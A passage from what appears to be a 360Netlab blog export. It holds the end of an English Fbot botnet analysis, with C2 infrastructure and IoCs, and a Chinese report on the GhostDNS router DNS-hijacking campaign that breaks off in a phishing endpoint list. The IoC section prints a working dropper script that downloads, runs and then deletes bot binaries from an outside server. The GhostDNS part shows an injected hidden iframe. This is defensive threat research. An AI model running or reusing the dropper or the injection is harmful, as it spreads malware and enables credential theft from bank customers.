killed:\n```\n/data/local/tmp/smi\n/data/local/tmp/xig\n/data/local/tmp/trinity\n/data/local/tmp/z\n/data/local/tmp/log\n/data/local/tmp/rig\n/data/local/tmp/.f\n/data/local/tmp/tyg\n```\n\n#### The C2 musl.lib\n\nThe C2 domain musl.lib is not a standard DNS domain name. Its top-level domain .lib is NOT registered to ICANN and cannot be resolute by the traditional DNS system.\n\nThis domain name is resolved by EmerDNS, Emercoin.com’s blockchain-based DNS system. According to its [web site](https://emercoin.com/zh/emerdns), it is built on block-chain technology and is fully decentralized,\n\nThere are several options when users want to access a .lib web site:\n\n * Through OpenNIC, which relays the dns requests between users and the EmerDNS system.\n * user can install a specific extension to the browser\n * user can set up a Emer node himself\n\nFbot hardcodes a list of OpenNic DNS server IP addresses. The hard-coded servers are at least the following:\n\n```\n176.126.70.119\n163.53.248.170\n174.138.48.29\n5.132.191.104\n107.172.42.186\n163.172.168.171\n174.138.48.29\n185.208.208.141\n163.53.248.170\n5.132.191.104\n```\n\nCurrently the EmerDNS resolution of musl.lib is as follows:\n```\nhttps://explorer.emercoin.com/nvs//musl.lib//25/1/1\n```\n\nReaders can use the following commands to reproduce the resolution process:\n```\[email protected]$dig musl.lib @seed2.emercoin.com +short\n66.42.57.45\n```\n\n\nThe choice of Fbot using EmerDNS other than traditional DNS is pretty interesting, it raised the bar for security researcher to find and track the botnet (Security systems will fail if they only look for traditional DNS names), also it make it harder to sinkhole the C2 domain, at least not applicable for a ICANN members.\n\n#### The Relationship between Fbot and Satori\n\nThe following diagram shows the relationship between the Fbot and the Satori botnet:\n\n\n\nIn the figure above:\n\n - Fbot C2 IP right now is 66.42.57.45, which resolves to 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com, and ukrainianhorseriding.com’s registration email is [email protected].\n - [email protected] also owns rippr.cc, which is the C2 for the [Satori](__GHOST_URL__/tag/satori/) botnet\n\nIP 27.102.115.44 is also connected to Fbot.\n\n * Via the domain name 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com\n * The URL pattern on the IP is consistent with the URL pattern of the Fbot download server 188.209.52.142, see IoC at the end of the article for more detail\n\nWith all these, we think all the domain names, IPs, URLs and samples presented in the figure form a strongly inter-connected cluster, Fbot has very stong link with Satori\n\n#### Contact Us\n\nReaders can reach us on our [**twitter**](https://twitter.com/360Netlab), WeChat **360Netlab** or email to netlab at 360 dot cn.\n\n\n#### IoC \nDownload Server\n```\n188.209.52.142 Netherlands/NL\tAS49349\n```\n\nC2 Server\n```\nmusl.lib #C2 domain, resolved by EmerDNS, a block-chain DNS\nmusl.lib:7000 currently resolves to 66.42.57.457000 #Singapore/SG Singapore #Current C2 IP and port\nukrainianhorseriding.com #Related C2 domain\n27.102.115.44 Republic of Korea/KR AS45996 #Related C2 IP\nrippr.cc #Related domain, a Satori C2\n```\n\nDownloading URL\n```\nhxxp://188.209.52.142/c #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work\nhxxp://188.209.52.142/w #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work\nhxxp://188.209.52.142/fbot.aarch64 #Scanners, will spread itself in a worm style\nhxxp://188.209.52.142/fbot.arm7\nhxxp://188.209.52.142/fbot.mips\nhxxp://188.209.52.142/fbot.mipsel\nhxxp://188.209.52.142/fbot.x86\nhxxp://188.209.52.142/fbot.x86_64\nhxxp://27.102.115.44/c #历史关联脚本\nhxxp://27.102.115.44/w\nhxxp://27.102.115.44/mipsel.bot.le\nhxxp://27.102.115.44/mips.bot.be\nhxxp://27.102.115.44/i686.bot.le\nhxxp://27.102.115.44/arm7.bot.le\nhxxp://27.102.115.44/arm64.bot.le\nhxxp://27.102.115.44/x86_64.bot.le\nhxxp://27.102.115.44/adbs\nhxxp://27.102.115.44/adbs2\nhxxp://27.102.115.44/\n```\n\nOne of the Scripts\n```\n#!/system/bin/sh\n\nn=\"arm7 mipsel mips x86 x86_64 aarch64\"\nhttp_server=\"188.209.52.142\"\n\nfor i in $n\ndo\n cp /system/bin/sh fbot.$i\n >fbot.$i\n curl hxxp://$http_server/fbot.$i > fbot.$i # wget hxxp://$http_server/fbot.$i > fbot.$i\n chmod 777 fbot.$i\n ./fbot.$i\n rm fbot.$i\ndone\n\n# Cleanup\nfor i in $n\ndo\n rm fbot.$i\ndone\n\npm uninstall com.ufo.miner\n\n# Suicide\nrm $0\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

148

post

2018-09-28T04:03:23.000Z

63873b9a8b1c1e0007f52f38

70-different-types-of-home-routers-all-together-100000-are-being-hijacked-by-ghostdns

2022-02-09T07:13:18.000Z

public

published

2018-09-29T04:20:45.000Z

GhostDNS正在针对巴西地区70种、100,000+家用路由器做恶意DNS劫持

<!--kg-card-begin: markdown--><h3 id="">背景介绍</h3> <p>从2018年9月20号开始，360Netlab Anglerfish蜜罐系统监测到互联网上有大量IP正在针对性地扫描路由器系统。攻击者尝试对路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server[<a href="https://en.wikipedia.org/wiki/DNS_hijacking">1]</a> 。</p> <p>我们共发现3套成熟的DNSChanger程序，根据其编程语言特性我们将它们分别命名为Shell DNSChanger，Js DNSChanger，PyPhp DNSChanger。目前这3套DNSChanger程序由同一个恶意软件团伙运营，其中以PyPhp DNChanger部署规模最大。根据其功能特性，我们将它们统一命名为DNSChanger System。</p> <p>事实上DNSChanger System是该恶意软件软件团伙运营系统中的一个子系统，其它还包括：Phishing Web System，Web Admin System，Rogue DNS System。这4个系统之间相互协同运作实现DNS劫持功能，我们将这整个系统命名为GhostDNS。</p> <p>我们发现一伙攻击者利用GhostDNS系统攻击了巴西地区超过 <strong>70</strong> 种、<strong>100,000</strong> 个家用路由器，通过篡改这些路由器上的配置，攻击者劫持了这些路由器的DNS解析，并进一步窃取了路由器用户在 <strong>50+</strong> 网站上的登录凭证、银行帐号等信息。被劫持通信的网站主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。</p> <h3 id="ghostdns">GhostDNS系统</h3> <p>GhostDNS系统是由4个子系统组成，分别是：DNSChanger System，Phishing Web System，Web Admin System，Rogue DNS System等。其中DNSChanger System中主要包括信息搜集，漏洞利用等阶段，另外在3套DNSChanger程序中也会有不同的实现方式。<br> <a href="__GHOST_URL__/content/images/2018/10/ghostdns.png"><img src="__GHOST_URL__/content/images/2018/10/ghostdns.png" class="kg-image"/></a><center>图1：GhostDNS流程图</center></p> <h4 id="dnschangersystem">DNSChanger System</h4> <p>DNSChanger System是GhostDNS的基础架构，攻击者通过3套DNSChanger程序，覆盖外网和内网攻击入口，包含 <strong>100+</strong> 个攻击脚本，影响 <strong>70+</strong> 款路由器型号。<br> <a href="__GHOST_URL__/content/images/2018/09/dnschanger.jpg"><img src="__GHOST_URL__/content/images/2018/09/dnschanger.jpg" class="kg-image"/></a><center>图2：3套DNSChanger程序对比图</center></p> <h4 id="shelldnschanger">Shell DNSChanger 分析</h4> <p>Shell DNSChanger最后一次更新时间在2016年6月左右，主要通过Shell 编写完成共涉及25个攻击脚本，可以感染21款路由器/固件。它的功能结构主要分为：扫描程序和攻击程序。攻击者目前对Shell DNSChanger程序部署量很少，基本已经淘汰了该程序。</p> <p>攻击者采用了一款第三方程序 Fast HTTP Auth Scanner v0.6（FScan）作为扫描程序，同时配置了大量扫描规则,用户口令列表以及一些启动脚本。Fscan扫描IP范围是经过挑选的一个网段列表，同时这些网段IP大部分都归属于巴西。</p> <p>攻击程序通过扫描程序搜集到的路由器设备信息，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。</p> <p>以下是Shell DNSChanger关键代码结构</p> <pre><code class="language-bash">├── brasil ├── changers │   ├── 3com1 │   ├── aprouter │   ├── dlink1 │   ├── dlink2 │   ├── dlink3 │   ├── dlink4 │   ├── dlink5 │   ├── dlink6 │   ├── dlink7 │   ├── dlink7_ │   ├── globaltronic │   ├── huawei │   ├── intelbrass │   ├── kaiomy │   ├── mikrotik │   ├── oiwtech │   ├── ralink │   ├── realtek │   ├── speedstream │   ├── speedtouch │   ├── speedtouch2 │   ├── tplink1 │   ├── tplink2 │   ├── tplink3 │   ├── triz │   └── viking ├── configs ├── logs ├── mdetector ├── mikrotik ├── ralink ├── src │   ├── BasicAuth.cpp │   ├── Makefile │   ├── Net-Telnet-3.03.tar.gz │   ├── base64.cpp │   ├── config.cpp │   ├── fscan.cpp │   ├── md5.cpp │   ├── md5.h │   ├── sockets.cpp │   ├── sslscanner.h │   ├── ulimit │   └── webforms.cpp ├── .fscan └── .timeout </code></pre> <p>以下是已识别受影响的路由器/固件</p> <pre><code class="language-bash">3COM OCR-812 AP-ROUTER D-LINK D-LINK DSL-2640T D-LINK DSL-2740R D-LINK DSL-500 D-LINK DSL-500G/DSL-502G Huawei SmartAX MT880a Intelbras WRN240-1 Kaiomy Router MikroTiK Routers OIWTECH OIW-2415CPE Ralink Routers SpeedStream SpeedTouch Tenda TP-LINK TD-W8901G/TD-W8961ND/TD-8816 TP-LINK TD-W8960N TP-LINK TL-WR740N TRIZ TZ5500E/VIKING VIKING/DSLINK 200 U/E </code></pre> <h4 id="jsdnschanger">Js DNSChanger 分析</h4> <p>Js DNSChanger主要通过Java Script编写完成共涉及10个攻击脚本，可以感染6款路由器/固件。它的功能结构主要分为扫描程序，Payload生成器和攻击程序。Js DNSChanger程序一般会注入到一些钓鱼网站代码中，和Pishing Web System协同工作。</p> <p>我们在 <code>35.236.25.247</code>（网站标题为：Convertidor Youtube Mp3 | Mp3 youtube）首页发现了Js DNSChanger代码。</p> <pre><code class="language-html">&lt;iframe src=&quot;http://193.70.95.89/2021/&quot; frameborder=&quot;0&quot; height=&quot;0&quot; scrolling=&quot;no&quot; title=&quot;no&quot; width=&quot;0&quot;&gt;&lt;/iframe&gt; </code></pre> <p>攻击者通过Image()函数对一个预定义的内网IP地址进行端口扫描，如果检测到端口开放会将该内网IP上报给Payload生成器。</p> <pre><code>#扫描程序 http://193.70.95.89/2021/index2.php </code></pre> <p>Payload生成器会根据路由器IP和Rogue DNS IP生成相应Base64编码的Payload，然后通过Data URI Scheme形式运行相应HTML代码。</p> <pre><code>#Payload生成器 http://193.70.95.89/2021/api.init.php?d=192.168.1.1 </code></pre> <p>攻击程序通过jQuery.ajax构造相应Http请求，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。</p> <p>以下是Js DNSChanger部分代码结构：</p> <pre><code class="language-bash">├── api.init.php ├── index.php └── index2.php </code></pre> <p>以下是已识别受影响的路由器/固件</p> <pre><code class="language-bash">A-Link WL54AP3 / WL54AP2 D-Link DIR-905L Roteador GWR-120 Secutech RiS Firmware SMARTGATE TP-Link TL-WR841N / TL-WR841ND </code></pre> <p>以下是其扫描IP范围</p> <pre><code>192.168.0.1 192.168.15.1 192.168.1.1 192.168.25.1 192.168.100.1 10.0.0.1 192.168.2.1 </code></pre> <h4 id="pyphpdnschanger">PyPhp DNSChanger 分析</h4> <p>PyPhp DNSChanger程序在2018年4月26号左右完成开发，主要通过python和php编写完成，共涉及 <strong>69</strong> 个攻击脚本，可以感染 <strong>47</strong> 款路由器/固件。它的功能结构主要分为Web API，扫描程序和攻击程序。攻击者一般会在云服务器部署大量PyPhp DNSChanger程序实例，这也是攻击采用的DNSChanger主要攻击手段。我们已累计发现 <strong>100+</strong> PyPhp DNSChanger扫描节点，其中有大量IP位于Google云。</p> <p>Web API是和Admin Web System通信的接口，攻击者可以通过它控制各个扫描节点，比如执行扫描任务等。</p> <p>扫描程序包括Masscan端口扫描和利用Shodan API筛选banner特征获取到相应路由器设备IP信息。Masscan扫描IP范围是经过挑选的一个网段列表，这些网段IP大部分都归属于巴西。另外Shodan API搜索条件也限制了只搜索巴西国家。</p> <p>有意思的是我们在Github上发现一个项目跟攻击者使用相同的Shodan API Key，并且这个Key是属于教育研究用途，但我们不确定这个Shodan API Key是否因泄漏而导致被攻击者利用。</p> <p>以下是攻击者使用的Shodan API Key信息</p> <pre><code class="language-bash">API key: LI****Lg9P8****X5iy****AaRO Created: 2017-11-03T16:55:13.425000 Plan: EDU </code></pre> <p>攻击程序会根据扫描程序搜集到的路由器IP信息，对这些路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS Server。</p> <p>另外，PyPhp DNSChanger程序还存在感染成功统计页面，可以清楚地看到每个扫描节点的感染情况。</p> <p><img src="__GHOST_URL__/content/images/2018/09/log.png" alt="log" loading="lazy"></p> <center>图3：一个PyPhp DNSChanger扫描节点统计页面</center> <p>以下是PyPhp DNSChanger部分代码结构</p> <pre><code class="language-bash">├── api ├── application │   ├── class │   │   ├── routers │   │   │   ├── routers.28ZE.php │   │   │   ├── routers.AN5506-02-B.php │   │   │   ├── routers.ELSYSCPE-2N.php │   │   │   ├── routers.PQWS2401.php │   │   │   ├── routers.TLWR840N.php │   │   │   ├── routers.WR941ND.php │   │   │   ├── routers.airos.php │   │   │   ├── routers.c3t.php │   │   │   ├── routers.cisconew.php │   │   │   ├── routers.dlink.905.php │   │   │   ├── routers.dlink.dir600.php │   │   │   ├── routers.dlink.dir610.php │   │   │   ├── routers.dlink.dir610o.php │   │   │   ├── routers.dlink.dir615.php │   │   │   ├── routers.fiberhome.php │   │   │   ├── routers.fiberhomenew.php │   │   │   ├── routers.ghotanboa.php │   │   │   ├── routers.goahed.php │   │   │   ├── routers.greatek.php │   │   │   ├── routers.greatek2.php │   │   │   ├── routers.gwr120.php │   │   │   ├── routers.huawei.php │   │   │   ├── routers.intelbras.php │   │   │   ├── routers.intelbras.wrn240.php │   │   │   ├── routers.intelbras.wrn300.php │   │   │   ├── routers.intelbrasN150.php │   │   │   ├── routers.linkone.php │   │   │   ├── routers.livetimdslbasic.php │   │   │   ├── routers.livetimsagecom.php │   │   │   ├── routers.mikrotkit.php │   │   │   ├── routers.multilaser.php │   │   │   ├── routers.oiwtech.php │   │   │   ├── routers.othermodels.php │   │   │   ├── routers.sharecenter.php │   │   │   ├── routers.thomson.php │   │   │   ├── routers.timdsl.php │   │   │   ├── routers.timvmg3312.php │   │   │   ├── routers.wirelessnrouter.php │   │   │   ├── routers.wrn1043nd.php │   │   │   ├── routers.wrn342.php │   │   │   ├── routers.wrn720n.php │   │   │   ├── routers.wrn740n.php │   │   │   ├── routers.wrn749n.php │   │   │   ├── routers.wrn840n.php │   │   │   ├── routers.wrn841n.php │   │   │   └── routers.wrn845n.php │   │   ├── routers_py │   │   │   ├── WR300build8333.py │   │   │   ├── install.sh │   │   │   ├── router.ArcherC7.py │   │   │   ├── router.FiberLink101.py │   │   │   ├── router.GEPONONU.py │   │   │   ├── router.PNRT150M.py │   │   │   ├── router.QBR1041WU.py │   │   │   ├── router.RoteadorWirelessN300Mbps.py │   │   │   ├── router.SAPIDORB1830.py │   │   │   ├── router.TENDAWirelessNBroadbandrouter.py │   │   │   ├── router.TLWR840N.py │   │   │   ├── router.TLWR841N.py │   │   │   ├── router.TLWR849N.py │   │   │   ├── router.TPLINKWR841N.py │   │   │   ├── router.TechnicLanWAR54GSv2.py │   │   │   ├── router.TendaWirelessRouter.py │   │   │   ├── router.WEBManagementSystem.py │   │   │   ├── router.WLANBroadbandRouter.py │   │   │   ├── router.WebUI.py │   │   │   ├── router.WirelessNWRN150R.py │   │   │   ├── router.WirelessRouter.py │   │   │   ├── router.WiveNGMTrouterfirmware.py │   │   │   ├── router.ZXHNH208N.py │   │   │   └── scan │   │   │   ├── __init__.py │   │   │   └── password.py │   │   ├── scanner │   │   │   └── class.scanner.utils.php │   │   ├── shodan │   │   │   ├── class.shodan.php │   │   │   └── cookie.txt │   │   ├── utils │   │   │   ├── class.colors.php │   │   │   ├── class.utils.php │   │   │   └── class.webrequest.php │   │   └── web │   │   ├── blockedtitles │   │   ├── class.web.api.php │   │   └── class.web.interface.php │   ├── config.bruteforce.php │   ├── config.init.php │   ├── config.layout.php │   ├── config.rangelist - bkp.php │   ├── config.rangelist.php │   ├── config.routers.php │   ├── config.scanner.php │   ├── launchers │   │   └── attack │   │   └── launch │   └── logs ├── logs │   ├── change.log │   └── gravar.php ├── parse_logs └── scanner ├── api.php ├── extrator.php ├── ranged_scanner.php ├── rodar.php ├── rodarlista.php ├── shodan.php └── teste.py </code></pre> <p>以下是已识别受影响的路由器/固件</p> <pre><code>AirRouter AirOS Antena PQWS2401 C3-TECH Router Cisco Router D-Link DIR-600 D-Link DIR-610 D-Link DIR-615 D-Link DIR-905L D-Link ShareCenter Elsys CPE-2n Fiberhome Fiberhome AN5506-02-B Fiberlink 101 GPON ONU Greatek GWR 120 Huawei Intelbras WRN 150 Intelbras WRN 240 Intelbras WRN 300 LINKONE MikroTik Multilaser OIWTECH PFTP-WR300 QBR-1041 WU Roteador PNRT150M Roteador Wireless N 300Mbps Roteador WRN150 Roteador WRN342 Sapido RB-1830 TECHNIC LAN WAR-54GS Tenda Wireless-N Broadband Router Thomson TP-Link Archer C7 TP-Link TL-WR1043ND TP-Link TL-WR720N TP-Link TL-WR740N TP-Link TL-WR749N TP-Link TL-WR840N TP-Link TL-WR841N TP-Link TL-WR845N TP-Link TL-WR849N TP-Link TL-WR941ND Wive-NG routers firmware ZXHN H208N Zyxel VMG3312 </code></pre> <h4 id="webadminsystem">Web Admin System</h4> <p>我们对这个系统所了解的信息比较少，但是能够确认它是属于Web Admin System，并且跟PyPhp DNSChanger协同工作。</p> <p><img src="__GHOST_URL__/content/images/2018/09/webadmin.png" alt="log" loading="lazy"></p> <center>图4：Web Admin System登录界面</center> <p>通过Web Admin System登陆框提示信息“Elite Priv8”，我们认为Elite是攻击者的一个标志，Priv8意思是“Private”。同时我们发现跟这个帖子《testador santander banking 2.1 versão beta elitepriv8》[<a href="http://www.forum-hacker.com.br/archive/index.php/t-537.html">2]</a> 采用了同样的描述。</p> <p>以下是Web Admin Server地址</p> <pre><code>198.50.222.139 &quot;AS16276 OVH SAS&quot; </code></pre> <h4 id="roguednssystem">Rogue DNS System</h4> <p>通过对Rogue DNS Server（139.60.162.188）碰撞检测，我们共发现它劫持了52个域名，主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。</p> <p>以下是Rogue DNS Server（139.60.162.188）劫持细节</p> <pre><code>{&quot;domain&quot;: &quot;avira.com.br&quot;, &quot;rdata&quot;: [&quot;0.0.0.0&quot;]} {&quot;domain&quot;: &quot;banco.bradesco&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]} {&quot;domain&quot;: &quot;bancobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bancodobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bradesco.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bradesconetempresa.b.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;bradescopj.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;br.wordpress.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;caixa.gov.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;citibank.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;clickconta.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;contasuper.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;credicard.com.br&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]} {&quot;domain&quot;: &quot;hostgator.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;itau.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;itaupersonnalite.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;kinghost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;locaweb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;netflix.com.br&quot;, &quot;rdata&quot;: [&quot;35.237.127.167&quot;]} {&quot;domain&quot;: &quot;netflix.com&quot;, &quot;rdata&quot;: [&quot;35.237.127.167&quot;]} {&quot;domain&quot;: &quot;painelhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;santander.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;santandernet.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;sicredi.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;superdigital.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;umbler.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;uolhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.banco.bradesco&quot;, &quot;rdata&quot;: [&quot;198.27.121.241&quot;]} {&quot;domain&quot;: &quot;www.bancobrasil.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bradesco.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bradesconetempresa.b.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.bradescopj.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.br.wordpress.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.caixa.gov.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.citibank.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.credicard.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.hostgator.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.itau.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.kinghost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.locaweb.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.netflix.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.netflix.net&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.painelhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.santander.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.santandernet.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.sicredi.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.superdigital.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.umbler.com&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.uolhost.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} {&quot;domain&quot;: &quot;www.uolhost.uol.com.br&quot;, &quot;rdata&quot;: [&quot;193.70.95.89&quot;]} </code></pre> <p>以下是其它Rogue DNS Server列表</p> <pre><code>139.60.162.188 &quot;AS395839 HOSTKEY&quot; 139.60.162.201 &quot;AS395839 HOSTKEY&quot; 144.22.104.185 &quot;AS7160 Oracle Corporation&quot; 173.82.168.104 &quot;AS35916 MULTACOM CORPORATION&quot; 18.223.2.98 &quot;AS16509 Amazon.com, Inc.&quot; 185.70.186.4 &quot;AS57043 Hostkey B.v.&quot; 192.99.187.193 &quot;AS16276 OVH SAS&quot; 198.27.121.241 &quot;AS16276 OVH SAS&quot; 200.196.240.104 &quot;AS11419 Telefonica Data S.A.&quot; 200.196.240.120 &quot;AS11419 Telefonica Data S.A.&quot; 35.185.9.164 &quot;AS15169 Google LLC&quot; 80.211.37.41 &quot;AS31034 Aruba S.p.A.&quot; </code></pre> <h4 id="phishingwebsystem">Phishing Web System</h4> <p>Pishing Web System 需要跟Rogue DNS System协同工作，Rogue DNS Server会修改特定域名的A记录解析结果并返回一个Pishing Web Server地址，然后根据受害者请求的Hostname引导至相应的钓鱼网站程序。</p> <p>通过对193.70.95.89所劫持的域名进行访问，我们发现攻击者克隆了相应官方网站的首页，并篡改了登录表单提交链接为Pishing Web API接口。然后我们对这些钓鱼网站首页进行指纹识别，计算首页文件md5，共检测到 19 款钓鱼网站程序。</p> <p>以下是钓鱼程序列表：</p> <pre><code>md5, url, hostname, pishing web api 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php'] 492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php'] 5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php'] 9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br 